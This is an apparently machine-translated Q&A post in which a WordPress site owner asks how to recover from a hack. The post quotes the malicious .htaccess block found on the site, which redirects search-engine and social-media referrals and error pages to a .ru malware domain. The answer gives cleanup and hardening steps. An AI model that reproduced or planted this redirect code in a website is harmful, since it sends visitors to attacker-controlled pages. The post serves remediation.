试图从Wordpress上的.htaccess重定向恶意软件中恢复网站

时间:2011-09-25 10:03:11

标签: wordpress .htaccess malware

请原谅我,如果这是一个菜鸟问题,但老实说我很难过。

我的网站,在Wordpress上托管,因为一些恶意软件而被列入黑名单。到目前为止,我已经尝试过unmaskparasites.com,谷歌网站管理员工具和sucuri sitecheck。我已经缩小了(我认为的)大部分问题,在.htaccess中的某些条件重定向。这是我发现的:

ErrorDocument 400 http://securesoftconnection.ru/aposte/index.php

ErrorDocument 401 http://securesoftconnection.ru/aposte/index.php

ErrorDocument 403 http://securesoftconnection.ru/aposte/index.php

ErrorDocument 404 http://securesoftconnection.ru/aposte/index.php

ErrorDocument 500 http://securesoftconnection.ru/aposte/index.php

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond % {HTTP_REFERER} .*google.* [OR]

RewriteCond % {HTTP_REFERER} .*ask.* [OR]

RewriteCond % {HTTP_REFERER} .*yahoo.* [OR]

RewriteCond % {HTTP_REFERER} .*baidu.* [OR]

RewriteCond % {HTTP_REFERER} .*youtube.* [OR]

RewriteCond % {HTTP_REFERER} .*wikipedia.* [OR]

RewriteCond % {HTTP_REFERER} .*qq.* [OR]

RewriteCond % {HTTP_REFERER} .*excite.* [OR]

RewriteCond % {HTTP_REFERER} .*altavista.* [OR]

RewriteCond % {HTTP_REFERER} .*msn.* [OR]

RewriteCond % {HTTP_REFERER} .*netscape.* [OR]

RewriteCond % {HTTP_REFERER} .*aol.* [OR]

RewriteCond % {HTTP_REFERER} .*hotbot.* [OR]

RewriteCond % {HTTP_REFERER} .*goto.* [OR]

RewriteCond % {HTTP_REFERER} .*infoseek.* [OR]

RewriteCond % {HTTP_REFERER} .*mamma.* [OR]

RewriteCond % {HTTP_REFERER} .*alltheweb.* [OR]

RewriteCond % {HTTP_REFERER} .*lycos.* [OR]

RewriteCond % {HTTP_REFERER} .*search.* [OR]

RewriteCond % {HTTP_REFERER} .*metacrawler.* [OR]

RewriteCond % {HTTP_REFERER} .*bing.* [OR]

RewriteCond % {HTTP_REFERER} .*dogpile.* [OR]

RewriteCond % {HTTP_REFERER} .*facebook.* [OR]

RewriteCond % {HTTP_REFERER} .*twitter.* [OR]

RewriteCond % {HTTP_REFERER} .*blog.* [OR]

RewriteCond % {HTTP_REFERER} .*live.* [OR]

RewriteCond % {HTTP_REFERER} .*myspace.* [OR]

RewriteCond % {HTTP_REFERER} .*mail.* [OR]

RewriteCond % {HTTP_REFERER} .*yandex.* [OR]

RewriteCond % {HTTP_REFERER} .*rambler.* [OR]

RewriteCond % {HTTP_REFERER} .*ya.* [OR]

RewriteCond % {HTTP_REFERER} .*aport.* [OR]

RewriteCond % {HTTP_REFERER} .*linkedin.* [OR]

RewriteCond % {HTTP_REFERER} .*flickr.*

RewriteRule ^ (.*)$ http: //securesoftconnection.ru/aposte/index.php [R=301,L]

</IfModule>

所以,我很明显地认为这并不酷。我尝试将.htaccess编辑为标准的wordpress格式:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress 

但它没有用。有没有更好的方法来解决这个问题?还是不值得呢?我对.htaccess了解不多,所以我有点不知所措。我现在也无法上传新的.htaccess文件。

你有任何关于重置wordpress .htaccess文件,摆脱恶意软件或其他任何我可能还不知道的东西的帮助,我真的很感激。

1 个答案:

答案 0 :(得分:1)

删除.htaccess然后重置WP中的永久链接以使用正确的重写块重新生成.htaccess。

并查看FAQ: My site was hacked « WordPress CodexHow to completely clean your hacked wordpress installation以及How to find a backdoor in a hacked WordPressHardening WordPress « WordPress Codex.告诉您的主持人。更改所有密码。扫描您自己的PC以查找间谍软件。